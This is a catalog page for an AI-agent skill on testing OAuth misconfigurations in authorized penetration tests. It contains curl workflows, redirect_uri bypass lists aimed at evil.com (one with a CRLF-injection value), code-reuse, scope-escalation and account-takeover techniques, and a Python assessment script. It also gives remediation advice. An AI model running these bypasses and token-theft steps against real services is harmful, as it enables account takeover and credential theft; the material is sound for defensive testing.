
Exploiting Oauth Misconfiguration
- 182 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
exploiting-oauth-misconfiguration is a Claude Code skill in the AI & Agent Building category.
- exploiting-oauth-misconfiguration
- AI & Agent Building
- AI-coding skill
Exploiting Oauth Misconfiguration by the numbers
- 182 all-time installs (skills.sh)
- +15 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,035 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-oauth-misconfigurationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 182 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Exploiting OAuth Misconfiguration
When to Use
- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- When evaluating API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers
Prerequisites
- Authorization: Written penetration testing agreement covering OAuth/SSO flows
- Burp Suite Professional: For intercepting OAuth redirect flows
- Browser with DevTools: For monitoring redirect chains and token leakage
- Multiple test accounts: On both the OAuth provider and the target application
- curl: For manual OAuth flow testing
- Attacker-controlled server: For receiving redirected tokens/codes
Workflow
Step 1: Map the OAuth Flow and Configuration
Identify the OAuth grant type, endpoints, and configuration.
# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs
# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
# response_type=code&
# client_id=CLIENT_ID&
# redirect_uri=https://app.example.com/callback&
# scope=openid profile email&
# state=RANDOM_STATE
# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token
# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256Step 2: Test Redirect URI Manipulation
Attempt to redirect the authorization code or token to an attacker-controlled domain.
# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
echo "$status"
done
# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/Step 3: Test for Authorization Code and Token Theft
Exploit leakage vectors for stealing OAuth tokens and codes.
# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token
# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="
# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possibleStep 4: Test Scope Escalation and Privilege Manipulation
Attempt to gain more permissions than intended.
# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)
# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"Step 5: Test for Account Takeover via OAuth
Exploit OAuth flows to take over victim accounts.
# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs
# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account
# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account
# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"Step 6: Test Client Secret and Token Security
Assess the security of OAuth credentials and tokens.
# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
# Check mobile app decompilation for hardcoded secrets
# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window
# Check PKCE implementation
# If public client without PKCE, authorization code interception is possibleKey Concepts
| Concept | Description |
|---|---|
| Authorization Code Flow | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
| Implicit Flow | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
| PKCE | Proof Key for Code Exchange; prevents authorization code interception attacks |
| Redirect URI Validation | Server-side validation that the redirect_uri matches registered values |
| State Parameter | Random value binding the OAuth request to the user's session, preventing CSRF |
| Scope Escalation | Requesting or obtaining more permissions than authorized |
| Token Leakage | Exposure of OAuth tokens via Referer headers, logs, or browser history |
| Open Redirect | Using OAuth redirect_uri as an open redirect to steal tokens |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting OAuth redirect chains and modifying parameters |
| OWASP ZAP | Automated OAuth flow scanning |
| Postman | Manual OAuth flow testing with environment variables |
| oauth-tools.com | Online OAuth flow debugging and testing |
| jwt.io | JWT token analysis for OAuth access tokens |
| Browser DevTools | Monitoring network requests and redirect chains |
Common Scenarios
Scenario 1: Redirect URI Subdomain Bypass
The OAuth provider validates redirect_uri against *.example.com. An attacker finds a subdomain vulnerable to takeover (old.example.com), takes it over, and steals authorization codes redirected to it.
Scenario 2: Missing State Parameter CSRF
The OAuth login flow does not include or validate a state parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
Scenario 3: Implicit Flow Token Theft
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
Scenario 4: Authorization Code Reuse
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
Output Format
## OAuth Security Assessment Report
**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |
### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |
### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: OAuth Misconfiguration Assessment Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for OAuth flow testing |
CLI Usage
python scripts/agent.py \
--url https://auth.example.com \
--client-id APP_CLIENT_ID \
--redirect-uri https://app.example.com/callback \
--output oauth_report.jsonFunctions
discover_oidc_config(base_url) -> dict
Fetches /.well-known/openid-configuration or /.well-known/oauth-authorization-server.
test_redirect_uri_bypasses(auth_endpoint, client_id, legitimate_uri) -> list
Tests 10 redirect_uri manipulation techniques: subdomain hijack, path traversal, case variation, protocol downgrade, CRLF injection.
test_state_parameter(auth_endpoint, client_id, redirect_uri) -> dict
Submits authorization request without state to check CSRF protection.
test_pkce_requirement(auth_endpoint, client_id, redirect_uri) -> dict
Tests whether code_challenge parameter is required. Generates S256 challenge for comparison.
test_code_reuse(token_endpoint, auth_code, client_id, client_secret, redirect_uri) -> dict
Exchanges an authorization code twice to check single-use enforcement.
test_scope_escalation(auth_endpoint, client_id, redirect_uri) -> dict
Requests elevated scopes (admin, write, delete) to test scope validation.
run_assessment(config, client_id, redirect_uri) -> dict
Orchestrates all tests and compiles findings.
OAuth Endpoints Tested
| Endpoint | Source | Test |
|---|---|---|
authorization_endpoint | OIDC config | Redirect URI, state, PKCE, scope |
token_endpoint | OIDC config | Code reuse, scope escalation |
Output Schema
{
"oidc_config": {"authorization_endpoint": "...", "token_endpoint": "..."},
"redirect_uri_tests": [{"redirect_uri": "https://evil.com", "accepted": false}],
"state_parameter": {"csrf_risk": false},
"pkce": {"pkce_required": true},
"findings": []
}#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""OAuth 2.0 misconfiguration detection agent for testing redirect URI, state, and PKCE."""
import argparse
import json
import logging
import sys
import urllib.parse
from typing import List
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def discover_oidc_config(base_url: str) -> dict:
"""Discover OpenID Connect / OAuth configuration endpoints."""
endpoints = [
"/.well-known/openid-configuration",
"/.well-known/oauth-authorization-server",
]
for ep in endpoints:
try:
resp = requests.get(f"{base_url}{ep}", timeout=10, verify=False)
if resp.status_code == 200:
config = resp.json()
logger.info("OIDC config found at %s%s", base_url, ep)
return config
except (requests.RequestException, ValueError):
continue
logger.warning("No OIDC configuration endpoint found")
return {}
def test_redirect_uri_bypasses(auth_endpoint: str, client_id: str,
legitimate_uri: str) -> List[dict]:
"""Test redirect_uri validation with common bypass techniques."""
parsed = urllib.parse.urlparse(legitimate_uri)
domain = parsed.netloc
bypass_uris = [
"https://evil.com",
f"https://{domain}.evil.com/callback",
f"https://{domain}@evil.com/callback",
f"https://evil.com/.{domain}",
f"https://{domain}/callback/../../../evil.com",
f"https://{domain}/callback?next=https://evil.com",
f"https://{domain.upper()}/callback",
f"http://{domain}/callback",
f"https://{domain}/CALLBACK",
f"https://{domain}/callback%0d%0aLocation:https://evil.com",
]
results = []
for uri in bypass_uris:
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": uri,
"scope": "openid",
"state": "test123",
}
try:
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
accepted = resp.status_code in (302, 301, 200)
location = resp.headers.get("Location", "")
results.append({
"redirect_uri": uri,
"status_code": resp.status_code,
"accepted": accepted,
"redirected_to": location[:120] if location else "",
})
if accepted:
logger.warning("Redirect URI bypass accepted: %s", uri)
except requests.RequestException as exc:
results.append({"redirect_uri": uri, "error": str(exc)})
return results
def test_state_parameter(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if the state parameter is required and validated."""
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": "openid",
}
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
no_state_accepted = resp.status_code in (302, 301, 200)
params["state"] = "aaaa"
resp2 = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"state_required": not no_state_accepted,
"no_state_status": resp.status_code,
"predictable_state_status": resp2.status_code,
"csrf_risk": no_state_accepted,
}
def test_pkce_requirement(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if PKCE (code_challenge) is required."""
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": "openid",
"state": "pkce_test",
}
resp_no_pkce = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
import hashlib, base64, os
verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b"=").decode()
challenge = base64.urlsafe_b64encode(
hashlib.sha256(verifier.encode()).digest()
).rstrip(b"=").decode()
params["code_challenge"] = challenge
params["code_challenge_method"] = "S256"
resp_with_pkce = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"pkce_required": resp_no_pkce.status_code >= 400,
"without_pkce_status": resp_no_pkce.status_code,
"with_pkce_status": resp_with_pkce.status_code,
"risk": "HIGH" if resp_no_pkce.status_code < 400 else "LOW",
}
def test_code_reuse(token_endpoint: str, auth_code: str, client_id: str,
client_secret: str, redirect_uri: str) -> dict:
"""Test if authorization codes can be reused."""
data = {
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": redirect_uri,
"client_id": client_id,
"client_secret": client_secret,
}
resp1 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
resp2 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
return {
"first_exchange_status": resp1.status_code,
"second_exchange_status": resp2.status_code,
"code_reusable": resp2.status_code == 200,
"risk": "MEDIUM" if resp2.status_code == 200 else "LOW",
}
def test_scope_escalation(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if additional scopes beyond authorization can be requested."""
elevated_scopes = "openid profile email admin write delete"
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": elevated_scopes,
"state": "scope_test",
}
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"requested_scopes": elevated_scopes,
"status_code": resp.status_code,
"accepted": resp.status_code in (302, 301, 200),
}
def run_assessment(config: dict, client_id: str, redirect_uri: str) -> dict:
"""Run the full OAuth security assessment."""
auth_ep = config.get("authorization_endpoint", "")
findings = []
redirect_tests = test_redirect_uri_bypasses(auth_ep, client_id, redirect_uri) if auth_ep else []
bypasses = [t for t in redirect_tests if t.get("accepted")]
if bypasses:
findings.append(f"HIGH: {len(bypasses)} redirect_uri bypass(es) accepted")
state_test = test_state_parameter(auth_ep, client_id, redirect_uri) if auth_ep else {}
if state_test.get("csrf_risk"):
findings.append("MEDIUM: State parameter not required (CSRF risk)")
pkce_test = test_pkce_requirement(auth_ep, client_id, redirect_uri) if auth_ep else {}
if not pkce_test.get("pkce_required", True):
findings.append("HIGH: PKCE not required")
scope_test = test_scope_escalation(auth_ep, client_id, redirect_uri) if auth_ep else {}
return {
"oidc_config": config,
"redirect_uri_tests": redirect_tests,
"state_parameter": state_test,
"pkce": pkce_test,
"scope_escalation": scope_test,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="OAuth Misconfiguration Assessment Agent")
parser.add_argument("--url", required=True, help="OAuth provider base URL")
parser.add_argument("--client-id", required=True, help="OAuth client ID")
parser.add_argument("--redirect-uri", required=True, help="Legitimate redirect URI")
parser.add_argument("--output", default="oauth_report.json")
args = parser.parse_args()
config = discover_oidc_config(args.url)
report = run_assessment(config, args.client_id, args.redirect_uri)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()